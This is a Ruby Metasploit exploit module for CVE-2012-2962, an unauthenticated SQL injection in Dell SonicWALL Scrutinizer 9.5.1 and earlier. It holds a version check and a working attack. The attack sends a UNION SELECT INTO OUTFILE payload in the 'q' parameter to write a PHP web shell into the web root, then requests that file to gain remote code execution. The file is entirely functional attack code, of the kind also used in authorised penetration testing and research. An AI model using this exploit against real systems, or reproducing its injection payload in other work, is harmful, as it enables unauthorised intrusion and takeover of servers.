##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Dell SonicWALL (Plixer) Scrutinizer 9 SQL Injection",
			'Description'    => %q{
					This module exploits a vulnerability found in Dell SonicWall Scrutinizer.
				While handling the 'q' parameter, the PHP application does not properly filter
				the user-supplied data, which can be manipulated to inject SQL commands, and
				then gain remote code execution.  Please note that authentication is NOT needed
				to exploit this vulnerability.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'muts',
					'Devon Kearns',
					'sinn3r'
				],
			'References'     =>
				[
					['CVE', '2012-2962'],
					['OSVDB', '84232'],
					['EDB', '20033'],
					['BID', '54625'],
					['URL', 'http://www.sonicwall.com/shared/download/Dell_SonicWALL_Scrutinizer_Service_Bulletin_for_SQL_injection_vulnerability_CVE.pdf']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					# According to advisory, version 9.5.1 and before are vulnerable.
					# But was only able to test this on 9.0.1.0
					['Dell SonicWall Scrutinizer 9.5.1 or older', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 22 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The path to the SonicWall Scrutinizer\'s statusFilter file', '/d4d/statusFilter.php']),
					OptString.new('HTMLDIR',   [true, 'The HTML root directory for the web application', 'C:\\Program Files\\Scrutinizer\\html\\'])
				], self.class)
	end


	def check
		res = send_request_raw({'uri'=>'/'}) # Check the base path for version regex
		if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
			res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end


	def exploit
		peer = "#{rhost}:#{rport}"
		p = "<?php #{payload.encoded} ?>"
		hex_payload = p.unpack("H*")[0]
		php_fname   = Rex::Text.rand_text_alpha(5) + ".php"
		rnd_txt     = Rex::Text.rand_text_alpha_upper(3)

		print_status("#{peer} - Sending SQL injection...")
		res = send_request_cgi({
			'uri'       => normalize_uri(target_uri.path),
			'method'    => 'POST',
			'vars_post' => {
				'commonJson' => 'protList',
				'q' => "#{rnd_txt}' union select 0x#{hex_payload},0 into outfile '../../html/d4d/#{php_fname}'#"
			}
		})

		if res and res.body !~ /No Results Found/
			print_error("#{peer} - I don't think the SQL Injection attempt worked")
			return
		elsif not res
			print_error("#{peer} - No response from the server")
			return
		end

		# For debugging purposes, this is useful
		vprint_status(res.to_s)

		target_path = "#{File.dirname(target_uri.path)}/#{php_fname}"
		print_status("#{peer} - Requesting: #{target_path}")
		send_request_raw({'uri' => normalize_uri(target_path)})

		handler
	end
end